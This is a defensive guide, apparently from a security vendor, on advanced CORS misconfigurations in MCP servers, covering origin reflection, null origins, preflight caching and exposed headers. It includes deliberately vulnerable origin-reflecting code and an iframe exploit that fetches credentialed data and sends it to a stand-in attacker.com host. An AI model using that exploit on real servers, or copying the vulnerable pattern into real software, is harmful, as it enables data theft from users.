MCP Server Security

Advanced CORS security for MCP servers

Basic CORS — adding Access-Control-Allow-Origin: * to unblock a request — is understood by most developers. The dangerous edge cases are not: credentialed requests with wildcard origins, null origin reflections, preflight cache poisoning, and the specific ways these misconfigurations chain together to produce exploitable cross-origin vulnerabilities in MCP servers.

The wildcard + credentials trap

The single most common CORS misconfiguration SkillAudit finds: returning Access-Control-Allow-Origin: * alongside Access-Control-Allow-Credentials: true. Browsers actually block this combination — they refuse to expose the response to JavaScript if both headers are present and the origin is wildcard. But the real danger is the code that tries to work around this browser restriction:

// DANGEROUS — reflects whatever Origin header the request sent
app.use((req, res, next) => {
  const origin = req.headers.origin
  if (origin) {
    res.setHeader('Access-Control-Allow-Origin', origin) // reflects attacker-controlled value
    res.setHeader('Access-Control-Allow-Credentials', 'true')
  }
  next()
})

This pattern — reflect the request's Origin header back — is present in a significant fraction of Node.js MCP servers. It allows any origin to make credentialed requests to your server, bypassing the CORS same-origin protection entirely. An attacker's page at evil.example.com can call your MCP server's HTTP endpoints with the user's session cookies.

The fix is an explicit allowlist:

const ALLOWED_ORIGINS = new Set([
  'https://claude.ai',
  'https://cursor.sh',
  'http://localhost:3000' // dev only — remove in prod
])

app.use((req, res, next) => {
  const origin = req.headers.origin
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin)
    res.setHeader('Access-Control-Allow-Credentials', 'true')
    res.setHeader('Vary', 'Origin') // critical: tells caches this response is origin-specific
  }
  next()
})

The Vary: Origin header is not optional. Without it, a CDN or reverse proxy will cache the response for one origin and serve it to a different origin — either breaking the CORS check for legitimate callers or (worse) serving a credentialed response to an unintended origin.

Null origin attacks

The null origin is sent by browsers in specific circumstances: sandboxed iframes (<iframe sandbox>), data: URLs, file:// pages, and certain redirects. Some CORS libraries treat Origin: null as a legitimate origin and reflect it as Access-Control-Allow-Origin: null. This is exploitable:

<!-- attacker's page -->
<iframe sandbox="allow-scripts allow-same-origin" srcdoc="
  <script>
    fetch('https://your-mcp-server.com/api/config', { credentials: 'include' })
      .then(r => r.json())
      .then(data => fetch('https://attacker.com/steal?d=' + btoa(JSON.stringify(data))))
  </script>
"></iframe>

The sandboxed iframe sends Origin: null. If your server reflects null back and allows credentials, the exfiltration succeeds. The fix: never allow null as an origin in your allowlist, and explicitly reject requests with Origin: null:

app.use((req, res, next) => {
  const origin = req.headers.origin
  if (!origin || origin === 'null') {
    // do not set CORS headers — browser will block cross-origin access
    return next()
  }
  if (ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin)
    res.setHeader('Vary', 'Origin')
  }
  next()
})

Preflight caching and cache poisoning

The Access-Control-Max-Age header controls how long browsers cache the result of a CORS preflight (OPTIONS) request. Setting it too high — or getting it reflected wrong — can cause browsers to use a stale preflight response for subsequent requests to different paths:

// DANGEROUS: 24-hour preflight cache
res.setHeader('Access-Control-Max-Age', '86400')

// SAFE: short preflight cache, force re-check
res.setHeader('Access-Control-Max-Age', '300') // 5 minutes

Preflight cache poisoning is theoretical in most deployments, but it becomes practical if your MCP server has routes with different CORS policies (e.g., a public API route and an admin route). A browser that has cached a permissive preflight response for the public route may reuse it for a subsequent request to the admin route within the cache window.

The safest approach: use a uniform CORS policy across all routes, and set Access-Control-Max-Age to a short value (300–600 seconds).

Exposed headers

By default, browsers only expose a small set of response headers to JavaScript (Content-Type, Content-Language, Expires, Cache-Control, Pragma, Last-Modified). Custom headers — like a X-Request-Id or X-Audit-Session — are blocked unless you explicitly allow them:

res.setHeader(
  'Access-Control-Expose-Headers',
  'X-Request-Id, X-Rate-Limit-Remaining'
)

Only expose headers that client-side code genuinely needs. Do not expose Authorization, internal session identifiers, or any header whose contents could be used in a subsequent attack.

HTTP methods and allowed headers

The preflight response must explicitly list the HTTP methods and request headers your API accepts. Overly permissive configurations — Access-Control-Allow-Methods: * or reflecting back whatever the request sent in Access-Control-Request-Method — expand your attack surface unnecessarily:

// preflight handler
app.options('/api/*', (req, res) => {
  const origin = req.headers.origin
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin)
    res.setHeader('Vary', 'Origin')
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST') // explicit, not *
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization') // explicit
    res.setHeader('Access-Control-Max-Age', '300')
    res.setHeader('Access-Control-Allow-Credentials', 'true')
  }
  res.status(204).end()
})

What SkillAudit flags as High findings

Origin reflection without an allowlist check is a High finding — it completely bypasses same-origin protection for credentialed requests. Accepting null as a valid origin when credentials are allowed is also a High finding. Wildcard origin with credentials in the same response (which browsers block but the header combination signals intent to allow) is flagged as a Medium finding with a note about the likely attempted workaround.

Missing Vary: Origin on responses with dynamic Access-Control-Allow-Origin values is a Medium finding for potential cache-based origin confusion.

Find CORS misconfigurations in your MCP server

SkillAudit's static pass detects origin reflection patterns, null origin acceptance, and missing Vary headers in MCP server source code. Free for public repos.

Run a free audit